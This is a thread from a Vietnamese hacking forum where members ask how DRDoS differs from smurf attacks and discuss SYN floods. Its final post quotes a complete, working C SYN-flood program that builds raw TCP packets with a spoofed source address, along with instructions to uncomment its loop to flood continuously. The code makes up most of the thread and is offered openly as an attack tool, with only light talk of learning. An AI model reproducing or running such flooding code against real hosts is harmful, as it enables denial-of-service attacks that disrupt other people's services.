Ba là tớ nhầm DrDOS, tưởng là Doctor DOS (Disk Operating System), tên của 1 hệ điều hành cũ, nên click vào, và vào thì cũng nên reply lăng nhăng 1 tí.
[Up] [Print Copy]
  [Question]   DRDoS 12/12/2010 15:47:04 (+0700) | #27 | 226925
congthang_9x
Member

[Minus]    0    [Plus]
Joined: 25/02/2009 20:06:03
Messages: 6
Offline
[Profile] [PM]

Ky0 wrote:


==> Bạn đọc kỹ lại bài viết của anh Mulan để hiểu rõ hơn. SYN attack là một kỹ thuật dùng trong tấn công DOS/DDOS

==> Smuff attack cũng là một hình thức tấn công DDOS dùng gói tin ICMP, muốn cuộc tấn công hiệu quả thì đòi hỏi "mạng khuếch đại" đủ lớn. Tuy nhiên nếu các router trên mạng tắt chức năng Directed Broadcast thì dạng tấn công này không hiệu quả, chưa kể các firewall thường chặn các gói tin ICMP. Vì thế hình thức tấn công này không còn phổ biến.

- Ky0 -

 


Cảm ơn bác Kyo. nhưng bác cho em hỏi thêm 1 câu nữa là trong tấn công drdos thì em thấy kiểu tấn công đó rất giống với Smuff attack ở trên.



Vậy bác cho em hỏi là giữa 2 cái này cách thức nó khác nhau như thế nào? em thấy cả 2 cái đều gửi gói tin ICMP cả mà. mong bác giải thick giùm em.
chân thành cảm ơn
[Up] [Print Copy]
  [Question]   DRDoS 12/12/2010 17:20:26 (+0700) | #28 | 226926
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]

congthang_9x wrote:
Vậy bác cho em hỏi là giữa 2 cái này cách thức nó khác nhau như thế nào? em thấy cả 2 cái đều gửi gói tin ICMP cả mà. mong bác giải thick giùm em.
chân thành cảm ơn 


Việc DDoS đâu nhất thiết phải dùng gói tin ICMP, ICMP chỉ là 1 dạng gói tin "đặc biệt" sử dụng trong truyền tải mạng thôi

Em tìm hiểu thêm về 3-way Handshake TCP để hiểu hơn về DRDoS em nhé smilie

ví dụ: http://www.inetdaemon.com/tutorials/internet/tcp/3-way_handshake.shtml

còn muốn một tài liệu tiếng Việt thì em ráng lục trong HVA cũng có vài chủ đề thảo luận rất sâu về vấn đề này
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Question]   DRDoS 09/02/2012 18:27:48 (+0700) | #29 | 253401
[Avatar]
duyluong_2108
Member

[Minus]    0    [Plus]
Joined: 07/02/2012 06:43:42
Messages: 5
Location: Huế
Offline
[Profile] [PM] [Yahoo!]
This post is set hidden by a moderator because it may be violating forum's guideline or it needs modification before setting visible to members.
Phong độ chỉ là nhất thời còn đẳng cấp là mãi mãi
[Up] [Print Copy]
  [Question]   DRDoS 13/02/2012 20:15:36 (+0700) | #30 | 253580
nguyenga86
Member

[Minus]    0    [Plus]
Joined: 13/11/2010 00:19:05
Messages: 205
Offline
[Profile] [PM]

anpha wrote:
Em post nhầm code. Cái này cơ, xin lỗi vì chức năng sửa bài không hoặt động cho members
Code:
/*
	Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<netinet/tcp.h>	//Provides declarations for tcp header
#include<netinet/ip.h>	//Provides declarations for ip header

typedef struct pseudo_header    //needed for checksum calculation
{
	unsigned int source_address;
	unsigned int dest_address;
	unsigned char placeholder;
	unsigned char protocol;
	unsigned short tcp_length;
	//char tcp[28];
	struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
	register long sum;
	unsigned short oddbyte;
	register short answer;

	sum=0;
	while(nbytes>1) {
		sum+=*ptr++;
		nbytes-=2;
	}
	if(nbytes==1) {
		oddbyte=0;
		*((u_char*)&oddbyte)=*(u_char*)ptr;
		sum+=oddbyte;
	}

	sum = (sum>>16)+(sum & 0xffff);
	sum = sum + (sum>>16);
	answer=(short)~sum;

	return(answer);
}

int main (void)
{
	//Create a raw socket
	int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
	//Datagram to represent the packet
	char datagram[4096];
	//IP header
	struct iphdr *iph = (struct iphdr *) datagram;
	//TCP header
	struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
	struct sockaddr_in sin;
	struct pseudo_header psh;

	sin.sin_family = AF_INET;
	sin.sin_port = htons(80);
	sin.sin_addr.s_addr = inet_addr ("1.2.3.4");

	memset (datagram, 0, 4096);	/* zero out the buffer */

	//Fill in the IP Header
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
	iph->id = htonl (54321);	//Id of this packet
	iph->frag_off = 0;
	iph->ttl = 255;
	iph->protocol = IPPROTO_TCP;
	iph->check = 0;		//Set to 0 before calculating checksum
	iph->saddr = inet_addr ("192.168.1.2");	//Spoof the source ip address
	iph->daddr = sin.sin_addr.s_addr;

	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

	//TCP Header
	tcph->source = htons (1234);
	tcph->dest = htons (80);
	tcph->seq = 0;
	tcph->ack_seq = 0;
	tcph->doff = 5;		/* first and only tcp segment */
	tcph->fin=0;
	tcph->syn=1;
	tcph->rst=0;
	tcph->psh=0;
	tcph->ack=0;
	tcph->urg=0;
	tcph->window = htons (5840);	/* maximum allowed window size */
	tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
				should fill in the correct checksum during transmission */
	tcph->urg_ptr = 0;
	//Now the IP checksum

	psh.source_address = inet_addr("192.168.1.2");
	psh.dest_address = sin.sin_addr.s_addr;
	psh.placeholder = 0;
	psh.protocol = IPPROTO_TCP;
	psh.tcp_length = htons(20);

	memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

	tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

	//IP_HDRINCL to tell the kernel that headers are included in the packet
	{
		int one = 1;
		const int *val = &one;
		if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
			printf ("Warning: Cannot set HDRINCL!n");
	}

	//while (1)
	//{
		//Send the packet
		if (sendto (s,		/* our socket */
					datagram,	/* the buffer containing headers and data */
					iph->tot_len,	/* total length of our datagram */
					0,		/* routing flags, normally always 0 */
					(struct sockaddr *) &sin,	/* socket addr, just like in */
					sizeof (sin)) < 0)		/* a normal send() */

			printf ("errorn");
		//Data send successfully
		else
			printf (".");
	//}

	return 0;
}
 



nếu mình ko nhầm thì cái code này bạn lấy ở site binarytides.com
link day http://www.binarytides.com/blog/syn-flood-dos-attack/
cái này sẽ send một SYN packet đến server nào đó với invalid source IP , xài raw socket để tạo ra packet .
khi uncomment vòng lặp while thì nó sẽ send packet liên tục hay còn gọi là flood đó
xài wireshark capture thấy cũng flood điên cuồng lắm nhưng ko biết bên server thế nào , mình nghĩ cái này để học thôi chứ chắc ko flood đc ai đâu smilie
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|